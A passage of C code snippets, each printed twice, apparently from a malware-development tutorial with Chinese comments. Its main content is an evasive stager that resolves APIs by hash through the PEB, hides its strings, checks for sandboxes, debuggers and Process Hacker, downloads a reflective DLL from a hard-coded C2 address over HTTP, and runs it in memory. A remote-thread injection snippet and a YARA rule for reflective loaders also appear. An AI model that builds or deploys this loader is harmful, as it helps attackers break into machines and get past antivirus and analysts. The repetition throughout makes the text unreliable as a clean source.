  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;
const char* String = "hello world";
const char* String = "hello world";
char String[] = {'a', 'b', 'c', 0};
char String[] = {'a', 'b', 'c', 0};
switch(job):
    case 1:
        whoami();
        break;
    case 2:
        hostname();
        break;
switch(job):
    case 1:
        whoami();
        break;
    case 2:
        hostname();
        break;
// 将shellcode复制到缓冲区中。
memcpy(pBuffer, shellcode_bin, shellcode_bin_len);
 
// 创建一个指向运行函数shellcode的函数指针。
fprun Run = (fprun)pBuffer;
// 将shellcode复制到缓冲区中。
memcpy(pBuffer, shellcode_bin, shellcode_bin_len);
 
// 创建一个指向运行函数shellcode的函数指针。
fprun Run = (fprun)pBuffer;
HMODULE hModule = LoadLibraryA("c:\\implant.dll");
HMODULE hModule = LoadLibraryA("c:\\implant.dll");
LPVOID lpBuffer = NULL /* 这将是包含RDLL的缓冲区 */;
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
LPVOID lpBuffer = NULL /* 这将是包含RDLL的缓冲区 */;
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
import "pe"
rule ReflectiveLoader
{
meta: description = "Detects a unspecified hack tool, crack or malware using a reflective loader  no hard match  further investigation recommended"
reference = "Internal Research"
score = 60
strings:
$s1 = "ReflectiveLoader" fullword ascii
$s2 = "ReflectivLoader.dll" fullword ascii
$s3 = "?ReflectiveLoader@@" ascii
condition:
uint16(0) == 0x5a4d and ( 1 of them or pe.exports("ReflectiveLoader") or pe.exports("_ReflectiveLoader@4") or pe.exports("?ReflectiveLoader@@YGKPAX@Z") )
}
import "pe"
rule ReflectiveLoader
{
meta: description = "Detects a unspecified hack tool, crack or malware using a reflective loader  no hard match  further investigation recommended"
reference = "Internal Research"
score = 60
strings:
$s1 = "ReflectiveLoader" fullword ascii
$s2 = "ReflectivLoader.dll" fullword ascii
$s3 = "?ReflectiveLoader@@" ascii
condition:
uint16(0) == 0x5a4d and ( 1 of them or pe.exports("ReflectiveLoader") or pe.exports("_ReflectiveLoader@4") or pe.exports("?ReflectiveLoader@@YGKPAX@Z") )
}
FARPROC GetSymbolAddress(HANDLE hModule, LPCSTR lpProcName) {
    UINT64 uiModuleAddress = (UINT64)hModule;
    UINT64 uiSymbolAddress = 0;
    UINT64 uiExportedAddressTable = 0;
    UINT64 uiNamePointerTable = 0;
    UINT64 uiOrdinalTable = 0;
 
    if (hModule == NULL) {
        return 0;
    }
 
    PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)(uiModuleAddress + ((PIMAGE_DOS_HEADER)uiModuleAddress)->e_lfanew);
    PIMAGE_DATA_DIRECTORY DataDir = (PIMAGE_DATA_DIRECTORY)&NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    PIMAGE_EXPORT_DIRECTORY ExportDir = (PIMAGE_EXPORT_DIRECTORY)(uiModuleAddress + DataDir->VirtualAddress);
 
    uiExportedAddressTable = (uiModuleAddress + ExportDir->AddressOfFunctions);
    uiNamePointerTable = (uiModuleAddress + ExportDir->AddressOfNames);
    uiOrdinalTable = (uiModuleAddress + ExportDir->AddressOfNameOrdinals);
 
    if (((UINT64)lpProcName & 0xFFFF0000) == 0x00000000) {
        uiExportedAddressTable += ((IMAGE_ORDINAL((UINT64)lpProcName) - ExportDir->Base) * sizeof(DWORD));
        uiSymbolAddress = (UINT64)(uiModuleAddress + DEREF_32(uiExportedAddressTable));
    }
    else {
        DWORD dwCounter = ExportDir->NumberOfNames;
        while (dwCounter--) {
            char* cpExportedFunctionName = (char*)(uiModuleAddress + DEREF_32(uiNamePointerTable));
            if (Strcmp(cpExportedFunctionName, lpProcName) == 0) {
                uiExportedAddressTable += (DEREF_16(uiOrdinalTable) * sizeof(DWORD));
                uiSymbolAddress = (UINT64)(uiModuleAddress + DEREF_32(uiExportedAddressTable));
                break;
            }
            uiNamePointerTable += sizeof(DWORD);
            uiOrdinalTable += sizeof(WORD);
        }
    }
 
    return (FARPROC)uiSymbolAddress;
}
FARPROC GetSymbolAddress(HANDLE hModule, LPCSTR lpProcName) {
    UINT64 uiModuleAddress = (UINT64)hModule;
    UINT64 uiSymbolAddress = 0;
    UINT64 uiExportedAddressTable = 0;
    UINT64 uiNamePointerTable = 0;
    UINT64 uiOrdinalTable = 0;
 
    if (hModule == NULL) {
        return 0;
    }
 
    PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)(uiModuleAddress + ((PIMAGE_DOS_HEADER)uiModuleAddress)->e_lfanew);
    PIMAGE_DATA_DIRECTORY DataDir = (PIMAGE_DATA_DIRECTORY)&NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    PIMAGE_EXPORT_DIRECTORY ExportDir = (PIMAGE_EXPORT_DIRECTORY)(uiModuleAddress + DataDir->VirtualAddress);
 
    uiExportedAddressTable = (uiModuleAddress + ExportDir->AddressOfFunctions);
    uiNamePointerTable = (uiModuleAddress + ExportDir->AddressOfNames);
    uiOrdinalTable = (uiModuleAddress + ExportDir->AddressOfNameOrdinals);
 
    if (((UINT64)lpProcName & 0xFFFF0000) == 0x00000000) {
        uiExportedAddressTable += ((IMAGE_ORDINAL((UINT64)lpProcName) - ExportDir->Base) * sizeof(DWORD));
        uiSymbolAddress = (UINT64)(uiModuleAddress + DEREF_32(uiExportedAddressTable));
    }
    else {
        DWORD dwCounter = ExportDir->NumberOfNames;
        while (dwCounter--) {
            char* cpExportedFunctionName = (char*)(uiModuleAddress + DEREF_32(uiNamePointerTable));
            if (Strcmp(cpExportedFunctionName, lpProcName) == 0) {
                uiExportedAddressTable += (DEREF_16(uiOrdinalTable) * sizeof(DWORD));
                uiSymbolAddress = (UINT64)(uiModuleAddress + DEREF_32(uiExportedAddressTable));
                break;
            }
            uiNamePointerTable += sizeof(DWORD);
            uiOrdinalTable += sizeof(WORD);
        }
    }
 
    return (FARPROC)uiSymbolAddress;
}
UINT64 uiModuleAddress = (UINT64)hModule;
UINT64 uiModuleAddress = (UINT64)hModule;
PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)(uiModuleAddress + ((PIMAGE_DOS_HEADER)uiModuleAddress)->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDir = (PIMAGE_DATA_DIRECTORY)&NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ExportDir = (PIMAGE_EXPORT_DIRECTORY)(uiModuleAddress + DataDir->VirtualAddress);
PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)(uiModuleAddress + ((PIMAGE_DOS_HEADER)uiModuleAddress)->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDir = (PIMAGE_DATA_DIRECTORY)&NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ExportDir = (PIMAGE_EXPORT_DIRECTORY)(uiModuleAddress + DataDir->VirtualAddress);
DWORD dwCounter = ExportDir->NumberOfNames;
while (dwCounter--) {
    char* cpExportedFunctionName = (char*)(uiModuleAddress + DEREF_32(uiNamePointerTable));
    if (Strcmp(cpExportedFunctionName, lpProcName) == 0) {
        uiExportedAddressTable += (DEREF_16(uiOrdinalTable) * sizeof(DWORD));
        uiSymbolAddress = (UINT64)(uiModuleAddress + DEREF_32(uiExportedAddressTable));
        break;
    }
    uiNamePointerTable += sizeof(DWORD);
    uiOrdinalTable += sizeof(WORD);
}
DWORD dwCounter = ExportDir->NumberOfNames;
while (dwCounter--) {
    char* cpExportedFunctionName = (char*)(uiModuleAddress + DEREF_32(uiNamePointerTable));
    if (Strcmp(cpExportedFunctionName, lpProcName) == 0) {
        uiExportedAddressTable += (DEREF_16(uiOrdinalTable) * sizeof(DWORD));
        uiSymbolAddress = (UINT64)(uiModuleAddress + DEREF_32(uiExportedAddressTable));
        break;
    }
    uiNamePointerTable += sizeof(DWORD);
    uiOrdinalTable += sizeof(WORD);
}
int STRCMP(const char* p1, const char* p2)
{
    const unsigned char* s1 = (const unsigned char*)p1;
    const unsigned char* s2 = (const unsigned char*)p2;
    unsigned char c1, c2;
    do
    {
        c1 = (unsigned char)*s1++;
        c2 = (unsigned char)*s2++;
        if (c1 == '\0')
            return c1 - c2;
    } while (c1 == c2);
    return c1 - c2;
}
 
void* MEMSET2(void* dest, int val, size_t len)
{
    unsigned char* ptr = dest;
    while (len-- > 0)
        *ptr++ = val;
    return dest;
}
int STRCMP(const char* p1, const char* p2)
{
    const unsigned char* s1 = (const unsigned char*)p1;
    const unsigned char* s2 = (const unsigned char*)p2;
    unsigned char c1, c2;
    do
    {
        c1 = (unsigned char)*s1++;
        c2 = (unsigned char)*s2++;
        if (c1 == '\0')
            return c1 - c2;
    } while (c1 == c2);
    return c1 - c2;
}
 
void* MEMSET2(void* dest, int val, size_t len)
{
    unsigned char* ptr = dest;
    while (len-- > 0)
        *ptr++ = val;
    return dest;
}
return (FARPROC)uiSymbolAddress;
return (FARPROC)uiSymbolAddress;
LPVOID GetKernel32() {
    LPVOID pKernel32Dll = NULL;
    pKernel32Dll = GetModuleByHash(KERNEL32DLL_HASH1);
    if (NULL == pKernel32Dll) {
        pKernel32Dll = GetModuleByHash(KERNEL32DLL_HASH2);
        if (NULL == pKernel32Dll) {
            pKernel32Dll = GetModuleByHash(KERNEL32DLL_HASH3);
            if (NULL == pKernel32Dll) {
                return NULL;
            }
        }
    }
    return pKernel32Dll;
}
LPVOID GetKernel32() {
    LPVOID pKernel32Dll = NULL;
    pKernel32Dll = GetModuleByHash(KERNEL32DLL_HASH1);
    if (NULL == pKernel32Dll) {
        pKernel32Dll = GetModuleByHash(KERNEL32DLL_HASH2);
        if (NULL == pKernel32Dll) {
            pKernel32Dll = GetModuleByHash(KERNEL32DLL_HASH3);
            if (NULL == pKernel32Dll) {
                return NULL;
            }
        }
    }
    return pKernel32Dll;
}
#define KERNEL32DLL_HASH1   0xa709e74f /// Hash of KERNEL32.DLL
#define KERNEL32DLL_HASH2   0xa96f406f /// Hash of kernel32.dll
#define KERNEL32DLL_HASH3   0x8b03944f /// Hash of Kernel32.dll
#define KERNEL32DLL_HASH1   0xa709e74f /// Hash of KERNEL32.DLL
#define KERNEL32DLL_HASH2   0xa96f406f /// Hash of kernel32.dll
#define KERNEL32DLL_HASH3   0x8b03944f /// Hash of Kernel32.dll
LPVOID GetModuleByHash(UINT uiModuleHash) {
    PEB* peb = (PEB*)PPEB_PTR;
    if (NULL == peb) {
        return NULL;
    }
 
    PEB_LDR_DATA* pLdr = peb->Ldr;
    LIST_ENTRY* pListHead = &(pLdr->InMemoryOrderModuleList);
    LIST_ENTRY* pListEntry = NULL;
    LDR_DATA_TABLE_ENTRY_COMPLETED* pLdrEntry;
 
    for (pListEntry = pListHead->Flink; pListEntry != pListHead; pListEntry = pListEntry->Flink) {
        pLdrEntry = (LDR_DATA_TABLE_ENTRY_COMPLETED*)((PCHAR)pListEntry - sizeof(LIST_ENTRY));
        WCHAR* pwDllName = pLdrEntry->BaseDllName.Buffer;
        UINT wHash = Djb2HashW(pwDllName);
        if (wHash == uiModuleHash) {
            return pLdrEntry->DllBase;
        }
    }
    return NULL;
}
LPVOID GetModuleByHash(UINT uiModuleHash) {
    PEB* peb = (PEB*)PPEB_PTR;
    if (NULL == peb) {
        return NULL;
    }
 
    PEB_LDR_DATA* pLdr = peb->Ldr;
    LIST_ENTRY* pListHead = &(pLdr->InMemoryOrderModuleList);
    LIST_ENTRY* pListEntry = NULL;
    LDR_DATA_TABLE_ENTRY_COMPLETED* pLdrEntry;
 
    for (pListEntry = pListHead->Flink; pListEntry != pListHead; pListEntry = pListEntry->Flink) {
        pLdrEntry = (LDR_DATA_TABLE_ENTRY_COMPLETED*)((PCHAR)pListEntry - sizeof(LIST_ENTRY));
        WCHAR* pwDllName = pLdrEntry->BaseDllName.Buffer;
        UINT wHash = Djb2HashW(pwDllName);
        if (wHash == uiModuleHash) {
            return pLdrEntry->DllBase;
        }
    }
    return NULL;
}
PEB* peb = (PEB*)PPEB_PTR;
PEB* peb = (PEB*)PPEB_PTR;
#define PPEB_PTR __readgsqword(0x60)
#define PPEB_PTR __readgsqword(0x60)
PEB_LDR_DATA* pLdr = peb->Ldr;
PEB_LDR_DATA* pLdr = peb->Ldr;
LIST_ENTRY* pListHead = &(pLdr->InMemoryOrderModuleList);
LIST_ENTRY* pListEntry = NULL;
LDR_DATA_TABLE_ENTRY_COMPLETED* pLdrEntry;
LIST_ENTRY* pListHead = &(pLdr->InMemoryOrderModuleList);
LIST_ENTRY* pListEntry = NULL;
LDR_DATA_TABLE_ENTRY_COMPLETED* pLdrEntry;
typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct API_ {
    LPVOID LoadLibraryA;
    LPVOID CloseHandle;
    LPVOID GlobalMemoryStatusEx;
    LPVOID CreateToolhelp32Snapshot;
    LPVOID Process32NextW;
    LPVOID Process32FirstW;
    LPVOID GetComputerNameW;
    LPVOID Sleep;
    LPVOID WinHttpCloseHandle;
    LPVOID WinHttpQueryDataAvailable;
    LPVOID WinHttpQueryHeaders;
    LPVOID WinHttpReadData;
    LPVOID WinHttpReceiveResponse;
    LPVOID WinHttpSendRequest;
    LPVOID WinHttpSetOption;
    LPVOID WinHttpConnect;
    LPVOID WinHttpOpen;
    LPVOID WinHttpOpenRequest;
    LPVOID WinHttpAddRequestHeaders;
    LPVOID GlobalFree;
    LPVOID malloc;
    LPVOID free;
    LPVOID memset;
    LPVOID VirtualProtect;
    LPVOID VirtualAlloc;
    LPVOID CreateThread;
    LPVOID WaitForSingleObject;
    LPVOID VirtualFree;
}
API, * PAPI;
typedef struct API_ {
    LPVOID LoadLibraryA;
    LPVOID CloseHandle;
    LPVOID GlobalMemoryStatusEx;
    LPVOID CreateToolhelp32Snapshot;
    LPVOID Process32NextW;
    LPVOID Process32FirstW;
    LPVOID GetComputerNameW;
    LPVOID Sleep;
    LPVOID WinHttpCloseHandle;
    LPVOID WinHttpQueryDataAvailable;
    LPVOID WinHttpQueryHeaders;
    LPVOID WinHttpReadData;
    LPVOID WinHttpReceiveResponse;
    LPVOID WinHttpSendRequest;
    LPVOID WinHttpSetOption;
    LPVOID WinHttpConnect;
    LPVOID WinHttpOpen;
    LPVOID WinHttpOpenRequest;
    LPVOID WinHttpAddRequestHeaders;
    LPVOID GlobalFree;
    LPVOID malloc;
    LPVOID free;
    LPVOID memset;
    LPVOID VirtualProtect;
    LPVOID VirtualAlloc;
    LPVOID CreateThread;
    LPVOID WaitForSingleObject;
    LPVOID VirtualFree;
}
API, * PAPI;
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR lpLibFileName);
CHAR cLoadLibraryA[13] = { 'L', 'o', 'a', 'd','L','i','b','r','a','r','y','A',0 };
Api->LoadLibraryA = GetSymbolAddress(hKernel32, cLoadLibraryA);
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR lpLibFileName);
CHAR cLoadLibraryA[13] = { 'L', 'o', 'a', 'd','L','i','b','r','a','r','y','A',0 };
Api->LoadLibraryA = GetSymbolAddress(hKernel32, cLoadLibraryA);
CHAR cWinHTTP[8] = { 'w','i','n','h','t','t','p',0 };
HMODULE hWinHttp = ((LOADLIBRARYA)api.LoadLibraryA)(cWinHTTP);
CHAR cWinHTTP[8] = { 'w','i','n','h','t','t','p',0 };
HMODULE hWinHttp = ((LOADLIBRARYA)api.LoadLibraryA)(cWinHTTP);
BOOL IsCorrectEnvironment(API api) {
    WCHAR wHostname[MAX_COMPUTERNAME_LENGTH];
    DWORD dwSz = sizeof wHostname;
 
    if (((GETCOMPUTERNAMEW)api.GetComputerNameW)(wHostname, &dwSz)) {
        if (Djb2HashW(wHostname) == HOSTNAME_HASH) {
            return TRUE;
        }
    }
    return FALSE;
}  
BOOL IsCorrectEnvironment(API api) {
    WCHAR wHostname[MAX_COMPUTERNAME_LENGTH];
    DWORD dwSz = sizeof wHostname;
 
    if (((GETCOMPUTERNAMEW)api.GetComputerNameW)(wHostname, &dwSz)) {
        if (Djb2HashW(wHostname) == HOSTNAME_HASH) {
            return TRUE;
        }
    }
    return FALSE;
}  
if (IsCorrectEnvironment(Api) == FALSE) {
return FALSE;
}          
if (IsCorrectEnvironment(Api) == FALSE) {
return FALSE;
}          
BOOL AreSuspiciousProcessesRunning(API Api) {
    HANDLE hSnapshot;
    PROCESSENTRY32W pe32;
 
    hSnapshot = ((CREATETOOLHELP32SNAPSHOT)Api.CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
 
    pe32.dwSize = sizeof(PROCESSENTRY32W);
 
    if (!((PROCESS32FIRSTW)Api.Process32FirstW)(hSnapshot, &pe32)) return FALSE;
 
    do {
        if (Djb2HashW(pe32.szExeFile) == PROCESS_HACKER_HASH) {
            return TRUE;
        }
    } while (((PROCESS32NEXTW)Api.Process32NextW)(hSnapshot, &pe32));
 
    ((CLOSEHANDLE)Api.CloseHandle)(hSnapshot);
    return FALSE;
}
BOOL AreSuspiciousProcessesRunning(API Api) {
    HANDLE hSnapshot;
    PROCESSENTRY32W pe32;
 
    hSnapshot = ((CREATETOOLHELP32SNAPSHOT)Api.CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
 
    pe32.dwSize = sizeof(PROCESSENTRY32W);
 
    if (!((PROCESS32FIRSTW)Api.Process32FirstW)(hSnapshot, &pe32)) return FALSE;
 
    do {
        if (Djb2HashW(pe32.szExeFile) == PROCESS_HACKER_HASH) {
            return TRUE;
        }
    } while (((PROCESS32NEXTW)Api.Process32NextW)(hSnapshot, &pe32));
 
    ((CLOSEHANDLE)Api.CloseHandle)(hSnapshot);
    return FALSE;
}
#define PROCESS_HACKER_HASH 0xda24bd3c
#define PROCESS_HACKER_HASH 0xda24bd3c
if (AreSuspiciousProcessesRunning(Api)) {
    return FALSE;
}
if (AreSuspiciousProcessesRunning(Api)) {
    return FALSE;
}
BOOL IsInSandbox(API Api) {
    MEMORYSTATUSEX memStatus;
 
    memStatus.dwLength = sizeof(memStatus);
 
    ((GLOBALMEMORYSTATUSEX)Api.GlobalMemoryStatusEx)(&memStatus);
    float fSz = (float)memStatus.ullTotalPhys / (1024 * 1024 * 1024);
    if (fSz > 4) {
        return FALSE;
    }
    return TRUE;
}
BOOL IsInSandbox(API Api) {
    MEMORYSTATUSEX memStatus;
 
    memStatus.dwLength = sizeof(memStatus);
 
    ((GLOBALMEMORYSTATUSEX)Api.GlobalMemoryStatusEx)(&memStatus);
    float fSz = (float)memStatus.ullTotalPhys / (1024 * 1024 * 1024);
    if (fSz > 4) {
        return FALSE;
    }
    return TRUE;
}
void InternalSleep(API Api, DWORD DwSleep) {
    ((SLEEP)Api.Sleep)(DwSleep);
}
void InternalSleep(API Api, DWORD DwSleep) {
    ((SLEEP)Api.Sleep)(DwSleep);
}
BOOL IsBeingDebugged() {
    PPEB pPeb = (PPEB)PPEB_PTR;
 
    if (pPeb->BeingDebugged == 1) {
        return TRUE;
    }
    else {
        return FALSE;
    }
}
BOOL IsBeingDebugged() {
    PPEB pPeb = (PPEB)PPEB_PTR;
 
    if (pPeb->BeingDebugged == 1) {
        return TRUE;
    }
    else {
        return FALSE;
    }
}
typedef struct DLL_ {
    LPVOID Buffer;
    DWORD Size;
}
DLL, * PDLL;
typedef struct DLL_ {
    LPVOID Buffer;
    DWORD Size;
}
DLL, * PDLL;
BOOL GetReflectiveDLL(API api, PDLL Dll)
BOOL GetReflectiveDLL(API api, PDLL Dll)
WCHAR wVerb[4] = {
  'G', 'E', 'T', 0
};
 
WCHAR wEndpoint[9] = {
  '/', 'a', '?', 's', 't', 'a', 'g', 'e', 0
};
 
WCHAR wUserAgent[10] = {
  'M', 'a', 'e', 'l', 's', 't', 'r', 'o', 'm', 0
};
 
WCHAR wVersion[5] = {
  'H', 'T', 'T', 'P', 0
};
 
WCHAR wServer[13] = {
  '1', '0', '.', '1', '0', '.', '1', '1', '.', '2', '0', '5', 0
};
 
WCHAR wReferer[19] = {
  'h', 't', 't', 'p', 's', ':', '/', '/', 'g', 'o', 'o', 'g', 'l', 'e', '.', 'c', 'o', 'm', 0
};
 
WCHAR wHeaders[22] = {
  'X', '-', 'M', 'a', 'e', 'l', 's', 't', 'r', 'o', 'm', ':', ' ', 'p', 'a', 's', 's', 'w', 'o', 'r', 'd', 0
};
WCHAR wVerb[4] = {
  'G', 'E', 'T', 0
};
 
WCHAR wEndpoint[9] = {
  '/', 'a', '?', 's', 't', 'a', 'g', 'e', 0
};
 
WCHAR wUserAgent[10] = {
  'M', 'a', 'e', 'l', 's', 't', 'r', 'o', 'm', 0
};
 
WCHAR wVersion[5] = {
  'H', 'T', 'T', 'P', 0
};
 
WCHAR wServer[13] = {
  '1', '0', '.', '1', '0', '.', '1', '1', '.', '2', '0', '5', 0
};
 
WCHAR wReferer[19] = {
  'h', 't', 't', 'p', 's', ':', '/', '/', 'g', 'o', 'o', 'g', 'l', 'e', '.', 'c', 'o', 'm', 0
};
 
WCHAR wHeaders[22] = {
  'X', '-', 'M', 'a', 'e', 'l', 's', 't', 'r', 'o', 'm', ':', ' ', 'p', 'a', 's', 's', 'w', 'o', 'r', 'd', 0
};
DWORD dwPort = 5555;
BOOL bSSL = FALSE;
BOOL bProxy = FALSE;
 
DWORD dwSz = 0;
DWORD dwDownloaded = 0;
DWORD dwTotalRead = 0;
long lpBuffer = -1;
DWORD lpdwBufferLength = sizeof(lpBuffer);
BOOL bSetOptions = FALSE;
 
DWORD dwFlagsWinHttpOpenRequest = 0;
DWORD dwAllowBadCerts = 0;
 
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;
BOOL bSentRequest = FALSE;
BOOL bReceieveRequest = FALSE;
BOOL bHeadersQueried = FALSE;
BOOL bHeadersAdded = FALSE;
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
WINHTTP_PROXY_INFO proxyInfo;
DWORD dwProxyInfoSz = sizeof(proxyInfo);
DWORD dwPort = 5555;
BOOL bSSL = FALSE;
BOOL bProxy = FALSE;
 
DWORD dwSz = 0;
DWORD dwDownloaded = 0;
DWORD dwTotalRead = 0;
long lpBuffer = -1;
DWORD lpdwBufferLength = sizeof(lpBuffer);
BOOL bSetOptions = FALSE;
 
DWORD dwFlagsWinHttpOpenRequest = 0;
DWORD dwAllowBadCerts = 0;
 
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;
BOOL bSentRequest = FALSE;
BOOL bReceieveRequest = FALSE;
BOOL bHeadersQueried = FALSE;
BOOL bHeadersAdded = FALSE;
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
WINHTTP_PROXY_INFO proxyInfo;
DWORD dwProxyInfoSz = sizeof(proxyInfo);
if (bSSL) {
    dwFlagsWinHttpOpenRequest = WINHTTP_FLAG_SECURE;
    dwAllowBadCerts = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
}
if (bSSL) {
    dwFlagsWinHttpOpenRequest = WINHTTP_FLAG_SECURE;
    dwAllowBadCerts = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
}
if (bSSL) {
    bSetOptions = ((WINHTTPSETOPTION)api.WinHttpSetOption)(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwAllowBadCerts, sizeof(dwAllowBadCerts));
    if (bSetOptions == FALSE) {
        return FALSE;
    }
}
if (bSSL) {
    bSetOptions = ((WINHTTPSETOPTION)api.WinHttpSetOption)(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwAllowBadCerts, sizeof(dwAllowBadCerts));
    if (bSetOptions == FALSE) {
        return FALSE;
    }
}
bHeadersAdded = ((WINHTTPADDREQUESTHEADERS)api.WinHttpAddRequestHeaders)(hRequest, (LPCWSTR)&wHeaders, (DWORD)-1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD);
if (bHeadersAdded == FALSE) {
    return FALSE;
}
bHeadersAdded = ((WINHTTPADDREQUESTHEADERS)api.WinHttpAddRequestHeaders)(hRequest, (LPCWSTR)&wHeaders, (DWORD)-1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD);
if (bHeadersAdded == FALSE) {
    return FALSE;
}
Dll->Buffer = Buffer;
Dll->Size = dwTotalRead;
 
if (Dll->Size > 0) {
    return TRUE;
}
else {
    return FALSE;
}
Dll->Buffer = Buffer;
Dll->Size = dwTotalRead;
 
if (Dll->Size > 0) {
    return TRUE;
}
else {
    return FALSE;
}
if (GetReflectiveDLL(Api, &Dll) == FALSE) {
    return -1;
}
if (GetReflectiveDLL(Api, &Dll) == FALSE) {
    return -1;
}
int LoadReflectiveDll(API Api, DLL Dll) {
    LPVOID pAddress = NULL;
    DWORD lpflOldProtect = 0;
    BOOL bProtect = FALSE;
    DWORD dwLdrOffset = 0;
    PTHREAD_START_ROUTINE pRoutine = NULL;
    HANDLE hThread = NULL;
 
    pAddress = ((VIRTUALALLOC)Api.VirtualAlloc)(0, Dll.Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    if (pAddress == NULL) {
        return 1;
    }
 
    Memcpy(pAddress, Dll.Buffer, Dll.Size);
 
    bProtect = ((VIRTUALPROTECT)Api.VirtualProtect)(pAddress, Dll.Size, PAGE_EXECUTE_READ, &lpflOldProtect);
    if (bProtect == FALSE) {
        return 1;
    }
 
    dwLdrOffset = GetReflectiveLoaderOffset(Dll.Buffer);
    if (dwLdrOffset == 0) {
        return 1;
    }
 
    pRoutine = (LPTHREAD_START_ROUTINE)((ULONG_PTR)pAddress + dwLdrOffset);
 
    hThread = ((CREATETHREAD)Api.CreateThread)(NULL, 0, pRoutine, NULL, 0, NULL);
    if (hThread == NULL) {
        return 1;
    }
    ((WAITFORSINGLEOBJECT)Api.WaitForSingleObject)(hThread, INFINITE);
 
    ((VIRTUALFREE)Api.VirtualFree)(pAddress, 0, MEM_RELEASE);
    return 0;
}
int LoadReflectiveDll(API Api, DLL Dll) {
    LPVOID pAddress = NULL;
    DWORD lpflOldProtect = 0;
    BOOL bProtect = FALSE;
    DWORD dwLdrOffset = 0;
    PTHREAD_START_ROUTINE pRoutine = NULL;
    HANDLE hThread = NULL;
 
    pAddress = ((VIRTUALALLOC)Api.VirtualAlloc)(0, Dll.Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    if (pAddress == NULL) {
        return 1;
    }
 
    Memcpy(pAddress, Dll.Buffer, Dll.Size);
 
